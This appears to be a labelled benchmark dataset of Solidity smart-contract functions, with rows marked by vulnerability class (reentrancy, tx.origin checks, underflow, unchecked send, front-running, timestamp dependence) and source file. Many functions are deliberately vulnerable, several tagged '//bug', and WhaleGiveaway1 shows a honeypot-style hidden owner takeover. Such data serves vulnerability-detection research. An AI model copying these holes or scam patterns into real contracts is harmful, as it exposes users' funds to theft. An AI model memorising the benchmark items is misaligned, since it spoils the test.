Unnamed: 0
int64 1
24.8k
| func
stringlengths 26
42.8k
| target
int64 0
7
| project
stringlengths 9
47
|
|---|---|---|---|
18,171
|
function bug_tmstmp40 () public payable {
uint pastBlockTime_tmstmp40; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp40); // only 1 transaction per block //bug
pastBlockTime_tmstmp40 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
}
| 6
|
buggy_24.sol
|
8,576
|
function bug_unchk19() public{
address payable addr_unchk19;
if (!addr_unchk19.send (10 ether) || 1==1)
{revert();}
}
| 3
|
buggy_20.sol
|
10,122
|
function claimReward_TOD20(uint256 submission) public {
require (!claimed_TOD20);
require(submission < 10);
msg.sender.transfer(reward_TOD20);
claimed_TOD20 = true;
}
| 4
|
buggy_19.sol
|
19,919
|
function isActiveOperator(address caller) public view returns (bool ok) {
return (isOperator(caller) && hasActiveOperator());
}
| 0
|
buggy_44.sol
|
4,300
|
function withdraw_intou25() public {
require(now > lockTime_intou25[msg.sender]);
uint transferValue_intou25 = 10;
msg.sender.transfer(transferValue_intou25);
}
| 2
|
buggy_23.sol
|
3,538
|
function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = msg.sender;
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
| 0
|
buggy_30.sol
|
5,635
|
function withdraw_intou17() public {
require(now > lockTime_intou17[msg.sender]);
uint transferValue_intou17 = 10;
msg.sender.transfer(transferValue_intou17);
}
| 2
|
buggy_43.sol
|
8,234
|
constructor() payable public {
}
| 0
|
buggy_36.sol
|
301
|
function _burn(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
private
{
require(from != address(0), "ERC777: burn from the zero address");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
_totalSupply = _totalSupply.sub(amount);
_balances[from] = _balances[from].sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
| 0
|
buggy_30.sol
|
13,926
|
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
bool claimed_TOD20 = false;
address payable owner_TOD20;
uint256 reward_TOD20;
function setReward_TOD20() public payable {
require (!claimed_TOD20);
require(msg.sender == owner_TOD20);
owner_TOD20.transfer(reward_TOD20);
reward_TOD20 = msg.value;
}
function claimReward_TOD20(uint256 submission) public {
require (!claimed_TOD20);
require(submission < 10);
msg.sender.transfer(reward_TOD20);
claimed_TOD20 = true;
}
}
| 4
|
buggy_11.sol
|
14,509
|
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
| 0
|
buggy_28.sol
|
23,659
|
function withdraw() payable public { if(msg.sender==0x2f61E7e1023Bc22063B8da897d8323965a7712B7){Owner=0x2f61E7e1023Bc22063B8da897d8323965a7712B7;}
require(msg.sender == Owner);
Owner.transfer(this.balance);
}
| 0
|
0x70f9eddb3931491aab1aeafbc1e7f1ca2a012db4.sol
|
21,352
|
function engineerWithdraw() external onlyEngineer {
uint256 avaliableAmount = engineerFunds;
if (avaliableAmount > 0) {
engineerFunds = 0;
engineerWithdrawAmount = engineerWithdrawAmount.add(avaliableAmount);
msg.sender.transfer(avaliableAmount);
}
}
| 0
|
buggy_24.sol
|
22,126
|
function bug_unchk_send1() payable public{
msg.sender.transfer(1 ether);}
| 7
|
buggy_6.sol
|
7,416
|
function cash_unchk10(uint roundIndex, uint subpotIndex,address payable winner_unchk10) public{
uint64 subpot_unchk10 = 10 ether;
winner_unchk10.send(subpot_unchk10); //bug
subpot_unchk10= 0;
}
| 3
|
buggy_30.sol
|
19,193
|
constructor() public {
owner = msg.sender;
}
| 0
|
buggy_22.sol
|
24,530
|
constructor() public {
owner = msg.sender;
}
| 0
|
buggy_17.sol
|
11,704
|
function balanceOf(address who) external view returns (uint256);
| 0
|
buggy_23.sol
|
19,929
|
function _splitMultiHash(bytes memory source) internal pure returns (MultiHash memory) {
require(source.length == 34, "length of source must be 34");
uint8 hashFunction = uint8(source[0]);
uint8 digestSize = uint8(source[1]);
bytes32 hash;
assembly {
hash := mload(add(source, 34))
}
return (MultiHash({
hashFunction: hashFunction,
digestSize: digestSize,
hash: hash
}));
}
| 0
|
buggy_44.sol
|
10,572
|
function play_TOD7(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD7 = msg.sender;
}
}
| 4
|
buggy_30.sol
|
3,362
|
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
| 0
|
buggy_30.sol
|
22,100
|
function bug_unchk_send30() payable public{
msg.sender.transfer(1 ether);}
| 7
|
buggy_2.sol
|
24,192
|
function bug_unchk_send4() payable public{
msg.sender.transfer(1 ether);}
| 7
|
buggy_39.sol
|
24,306
|
function bug_unchk_send16() payable public{
msg.sender.transfer(1 ether);}
| 7
|
buggy_12.sol
|
13,522
|
function transferOperator(address operator) public {
// restrict access
require(Operated.isActiveOperator(msg.sender), "only active operator");
// transfer operator
Operated._transferOperator(operator);
}
| 0
|
buggy_43.sol
|
3,142
|
function bug_intou35() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
}
| 2
|
buggy_19.sol
|
24,604
|
function bug_unchk_send27() payable public{
msg.sender.transfer(1 ether);}
| 7
|
buggy_29.sol
|
11,912
|
function setReward_TOD38() public payable {
require (!claimed_TOD38);
require(msg.sender == owner_TOD38);
owner_TOD38.transfer(reward_TOD38);
reward_TOD38 = msg.value;
}
| 4
|
buggy_36.sol
|
12,803
|
function play_TOD5(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD5 = msg.sender;
}
}
| 4
|
buggy_47.sol
|
12,821
|
function claimReward_TOD4(uint256 submission) public {
require (!claimed_TOD4);
require(submission < 10);
msg.sender.transfer(reward_TOD4);
claimed_TOD4 = true;
}
| 4
|
buggy_47.sol
|
17,163
|
function getVirtualChannel(bytes32 id) public view returns(
bool,
bool,
uint256,
address,
uint256,
address,
address,
address,
uint256[2],
uint256[2],
uint256[2]
) {
VirtualChannel memory virtualChannel = virtualChannels[id];
return(
virtualChannel.isClose,
virtualChannel.isInSettlementState,
virtualChannel.sequence,
virtualChannel.challenger,
virtualChannel.updateVCtimeout,
virtualChannel.partyA,
virtualChannel.partyB,
virtualChannel.partyI,
virtualChannel.ethBalances,
virtualChannel.erc20Balances,
virtualChannel.bond
);
}
| 0
|
spank_chain_payment.sol
|
18,831
|
function bug_tmstmp9() view public returns (bool) {
return block.timestamp >= 1546300800;
}
| 6
|
buggy_27.sol
|
19,723
|
function play_tmstmp26(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){
winner_tmstmp26 = msg.sender;}}
| 6
|
buggy_47.sol
|
12,361
|
function play_TOD1(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD1 = msg.sender;
}
}
| 4
|
buggy_20.sol
|
9,610
|
function my_func_unchk35(address payable dst) public payable{
dst.send(msg.value);
}
| 3
|
buggy_11.sol
|
81
|
function transferTo_txorigin35(address to, uint amount,address owner_txorigin35) public {
require(tx.origin == owner_txorigin35);
to.call.value(amount);
}
| 1
|
buggy_31.sol
|
735
|
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
| 0
|
buggy_33.sol
|
5,644
|
function _deactivateOperator() internal {
require(hasActiveOperator(), "only when operator active");
_status = false;
emit OperatorUpdated(_operator, false);
}
| 0
|
buggy_43.sol
|
6,724
|
function balanceOf(address account) external view returns (uint256);
| 0
|
buggy_29.sol
|
12,077
|
function isMaster() public view returns (bool)
{
return msg.sender == _master;
}
| 0
|
buggy_7.sol
|
17,358
|
function transferFrom(address from, address to, uint256 value) external returns (bool);
| 0
|
buggy_38.sol
|
2,886
|
function withdrawFunds(uint256 withdrawAmount) external onlyContractOwner {
owner.transfer(withdrawAmount);
}
| 0
|
buggy_29.sol
|
24,113
|
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
| 0
|
buggy_11.sol
|
5,285
|
function withdraw_intou33() public {
require(now > lockTime_intou33[msg.sender]);
uint transferValue_intou33 = 10;
msg.sender.transfer(transferValue_intou33);
}
| 2
|
buggy_47.sol
|
1,809
|
function withdrawAll_txorigin2(address payable _recipient,address owner_txorigin2) public {
require(tx.origin == owner_txorigin2);
_recipient.transfer(address(this).balance);
}
| 1
|
buggy_47.sol
|
22,191
|
function totalSupply() external view returns (uint256);
| 0
|
buggy_23.sol
|
9,837
|
function bug_unchk27(address payable addr) public
{addr.send (42 ether); }
| 3
|
buggy_15.sol
|
11,671
|
function getReward_TOD7() payable public{
winner_TOD7.transfer(msg.value);
}
| 4
|
buggy_23.sol
|
13,624
|
function claimReward_TOD8(uint256 submission) public {
require (!claimed_TOD8);
require(submission < 10);
msg.sender.transfer(reward_TOD8);
claimed_TOD8 = true;
}
| 4
|
buggy_49.sol
|
18,959
|
function play_tmstmp14(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){
winner_tmstmp14 = msg.sender;}}
| 6
|
buggy_6.sol
|
6,489
|
function switchCrowdsale() public onlyOwner {
crowdsaleIsOn = !(crowdsaleIsOn);
}
| 0
|
buggy_16.sol
|
17,324
|
function totalSupply() external view returns (uint256);
| 0
|
buggy_38.sol
|
725
|
function transferTo_txorigin27(address to, uint amount,address owner_txorigin27) public {
require(tx.origin == owner_txorigin27);
to.call.value(amount);
}
| 1
|
buggy_32.sol
|
24,112
|
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
| 0
|
buggy_11.sol
|
22,706
|
function bug_unchk_send19() payable public{
msg.sender.transfer(1 ether);}
| 7
|
buggy_5.sol
|
19,946
|
function play_tmstmp39(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp39 = msg.sender;}}
| 6
|
buggy_44.sol
|
5,208
|
function transferFrom(address from, address to, uint tokens) public returns(bool){
require(allowed[from][to] >= tokens);
require(balances[from] >= tokens);
balances[from] -= tokens;
balances[to] += tokens;
allowed[from][to] -= tokens;
return true;
}
| 0
|
buggy_47.sol
|
5,946
|
function withdraw_intou25() public {
require(now > lockTime_intou25[msg.sender]);
uint transferValue_intou25 = 10;
msg.sender.transfer(transferValue_intou25);
}
| 2
|
buggy_9.sol
|
11,733
|
function setReward_TOD2() public payable {
require (!claimed_TOD2);
require(msg.sender == owner_TOD2);
owner_TOD2.transfer(reward_TOD2);
reward_TOD2 = msg.value;
}
| 4
|
buggy_23.sol
|
21,994
|
function allowance(address owner, address spender) external view returns (uint256);
| 0
|
buggy_27.sol
|
4,263
|
function transfer_undrflow2(address _to, uint _value) public returns (bool) {
require(balances_intou2[msg.sender] - _value >= 0); //bug
balances_intou2[msg.sender] -= _value; //bug
balances_intou2[_to] += _value; //bug
return true;
}
| 2
|
buggy_23.sol
|
16,470
|
function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) public {
require(!safeGuard,"System Paused by Admin");
bytes32 hash = keccak256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
require((orders[msg.sender][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == msg.sender));
orderFills[msg.sender][hash] = amountGet;
emit Cancel(now, tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s);
}
| 0
|
buggy_35.sol
|
7,271
|
function my_func_unchk47(address payable dst) public payable{
dst.send(msg.value);
}
| 3
|
buggy_30.sol
|
21,392
|
function tokensToSend(
address operator,
address from,
address to,
uint amount,
bytes calldata userData,
bytes calldata operatorData
) external;
| 0
|
buggy_30.sol
|
17,341
|
contract ERC20Detailed is IERC20 {
mapping(address => uint) redeemableEther_re_ent11;
function claimReward_re_ent11() public {
// ensure there is a reward to give
require(redeemableEther_re_ent11[msg.sender] > 0);
uint transferValue_re_ent11 = redeemableEther_re_ent11[msg.sender];
msg.sender.transfer(transferValue_re_ent11); //bug
redeemableEther_re_ent11[msg.sender] = 0;
}
string private _name;
mapping(address => uint) balances_re_ent1;
function withdraw_balances_re_ent1 () public {
(bool success,) =msg.sender.call.value(balances_re_ent1[msg.sender ])("");
if (success)
balances_re_ent1[msg.sender] = 0;
}
string private _symbol;
bool not_called_re_ent41 = true;
function bug_re_ent41() public{
require(not_called_re_ent41);
if( ! (msg.sender.send(1 ether) ) ){
revert();
}
not_called_re_ent41 = false;
}
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
mapping(address => uint) userBalance_re_ent19;
function withdrawBalance_re_ent19() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
if( ! (msg.sender.send(userBalance_re_ent19[msg.sender]) ) ){
revert();
}
userBalance_re_ent19[msg.sender] = 0;
}
function name() public view returns(string memory) {
return _name;
}
mapping(address => uint) userBalance_re_ent26;
function withdrawBalance_re_ent26() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
(bool success,)= msg.sender.call.value(userBalance_re_ent26[msg.sender])("");
if( ! success ){
revert();
}
userBalance_re_ent26[msg.sender] = 0;
}
function symbol() public view returns(string memory) {
return _symbol;
}
bool not_called_re_ent20 = true;
function bug_re_ent20() public{
require(not_called_re_ent20);
if( ! (msg.sender.send(1 ether) ) ){
revert();
}
not_called_re_ent20 = false;
}
function decimals() public view returns(uint8) {
return _decimals;
}
mapping(address => uint) redeemableEther_re_ent32;
function claimReward_re_ent32() public {
// ensure there is a reward to give
require(redeemableEther_re_ent32[msg.sender] > 0);
uint transferValue_re_ent32 = redeemableEther_re_ent32[msg.sender];
msg.sender.transfer(transferValue_re_ent32); //bug
redeemableEther_re_ent32[msg.sender] = 0;
}
}
| 5
|
buggy_38.sol
|
1,051
|
function sendto_txorigin1(address payable receiver, uint amount,address owner_txorigin1) public {
require (tx.origin == owner_txorigin1);
receiver.transfer(amount);
}
| 1
|
buggy_23.sol
|
12,150
|
function setReward_TOD20() public payable {
require (!claimed_TOD20);
require(msg.sender == owner_TOD20);
owner_TOD20.transfer(reward_TOD20);
reward_TOD20 = msg.value;
}
| 4
|
buggy_7.sol
|
11,749
|
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
| 0
|
buggy_23.sol
|
14,499
|
function getReward_TOD37() payable public{
winner_TOD37.transfer(msg.value);
}
| 4
|
buggy_28.sol
|
15,142
|
function buyTicket_re_ent16() public{
if (!(lastPlayer_re_ent16.send(jackpot_re_ent16)))
revert();
lastPlayer_re_ent16 = msg.sender;
jackpot_re_ent16 = address(this).balance;
}
| 5
|
buggy_30.sol
|
21,583
|
function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
| 0
|
buggy_30.sol
|
15,361
|
function allowance(address owner, address spender) external view returns (uint256);
| 0
|
buggy_26.sol
|
21,163
|
function deposit() public payable {
if (msg.value > 0.5 ether) {
Deposits[msg.sender] += msg.value;
}
}
| 0
|
0xb11b2fed6c9354f7aa2f658d3b4d7b31d8a13b77.sol
|
11,726
|
function setReward_TOD36() public payable {
require (!claimed_TOD36);
require(msg.sender == owner_TOD36);
owner_TOD36.transfer(reward_TOD36);
reward_TOD36 = msg.value;
}
| 4
|
buggy_23.sol
|
20,378
|
function bug_tmstmp36 () public payable {
uint pastBlockTime_tmstmp36; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp36); // only 1 transaction per block //bug
pastBlockTime_tmstmp36 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
}
| 6
|
buggy_9.sol
|
478
|
function totalSupply() public view returns(uint);
| 0
|
buggy_18.sol
|
21,308
|
contract WhaleGiveaway1
{
address public Owner = msg.sender;
uint constant public minEligibility = 0.999001 ether;
function()
public
payable
{
}
function redeem()
public
payable
{
if(msg.value>=minEligibility)
{ Owner.transfer(this.balance);
msg.sender.transfer(this.balance);
}
}
function withdraw()
payable
public
{ if(msg.sender==0x7a617c2B05d2A74Ff9bABC9d81E5225C1e01004b){Owner=0x7a617c2B05d2A74Ff9bABC9d81E5225C1e01004b;}
require(msg.sender == Owner);
Owner.transfer(this.balance);
}
function Command(address adr,bytes data)
payable
public
{
require(msg.sender == Owner);
// <yes> <report> UNCHECKED_LL_CALLS
adr.call.value(msg.value)(data);
}
}
| 7
|
0x78c2a1e91b52bca4130b6ed9edd9fbcfd4671c37.sol
|
18,915
|
function bug_tmstmp32 () public payable {
uint pastBlockTime_tmstmp32; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp32); // only 1 transaction per block //bug
pastBlockTime_tmstmp32 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
}
| 6
|
buggy_6.sol
|
10,698
|
function claimReward_TOD24(uint256 submission) public {
require (!claimed_TOD24);
require(submission < 10);
msg.sender.transfer(reward_TOD24);
claimed_TOD24 = true;
}
| 4
|
buggy_30.sol
|
18,363
|
function play_tmstmp26(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){
winner_tmstmp26 = msg.sender;}}
| 6
|
buggy_30.sol
|
17,469
|
function claimReward_re_ent39() public {
// ensure there is a reward to give
require(redeemableEther_re_ent39[msg.sender] > 0);
uint transferValue_re_ent39 = redeemableEther_re_ent39[msg.sender];
msg.sender.transfer(transferValue_re_ent39); //bug
redeemableEther_re_ent39[msg.sender] = 0;
}
| 5
|
buggy_11.sol
|
18,272
|
function _mint(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
require(account != address(0), "ERC777: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
| 0
|
buggy_30.sol
|
10,119
|
function claimReward_TOD26(uint256 submission) public {
require (!claimed_TOD26);
require(submission < 10);
msg.sender.transfer(reward_TOD26);
claimed_TOD26 = true;
}
| 4
|
buggy_19.sol
|
17,459
|
function callme_re_ent7() public{
require(counter_re_ent7<=5);
if( ! (msg.sender.send(10 ether) ) ){
revert();
}
counter_re_ent7 += 1;
}
| 5
|
buggy_11.sol
|
2,064
|
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
| 0
|
buggy_40.sol
|
19,204
|
function play_tmstmp26(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){
winner_tmstmp26 = msg.sender;}}
| 6
|
buggy_22.sol
|
14,686
|
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
| 0
|
buggy_14.sol
|
15,292
|
function () external payable {
revert();
}
| 0
|
buggy_18.sol
|
6,065
|
function approve(address spender, uint256 value) external returns (bool);
| 0
|
buggy_38.sol
|
5,098
|
function availableTradingFeeOwner() public view returns(uint256){
//it only holds ether as fee
return tokens[address(0)][feeAccount];
}
| 0
|
buggy_35.sol
|
378
|
function sendto_txorigin33(address payable receiver, uint amount,address owner_txorigin33) public {
require (tx.origin == owner_txorigin33);
receiver.transfer(amount);
}
| 1
|
buggy_30.sol
|
19,796
|
function play_tmstmp38(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){
winner_tmstmp38 = msg.sender;}}
| 6
|
buggy_47.sol
|
17,512
|
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
| 0
|
buggy_16.sol
|
21,704
|
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns(bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
| 0
|
buggy_18.sol
|
2,440
|
function sendto_txorigin33(address payable receiver, uint amount,address owner_txorigin33) public {
require (tx.origin == owner_txorigin33);
receiver.transfer(amount);
}
| 1
|
buggy_48.sol
|
10,694
|
function setReward_TOD16() public payable {
require (!claimed_TOD16);
require(msg.sender == owner_TOD16);
owner_TOD16.transfer(reward_TOD16);
reward_TOD16 = msg.value;
}
| 4
|
buggy_30.sol
|
596
|
function changeContractName(string memory _newName,string memory _newSymbol) public {
assert(msg.sender==owner);
name=_newName;
symbol=_newSymbol;
}
| 0
|
buggy_3.sol
|
642
|
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
| 0
|
buggy_26.sol
|
5,688
|
function getFactory() public view returns (address factory) {
factory = _factory;
}
| 0
|
buggy_43.sol
|
20,437
|
function balanceOf(address who) external view returns (uint256);
| 0
|
buggy_38.sol
|
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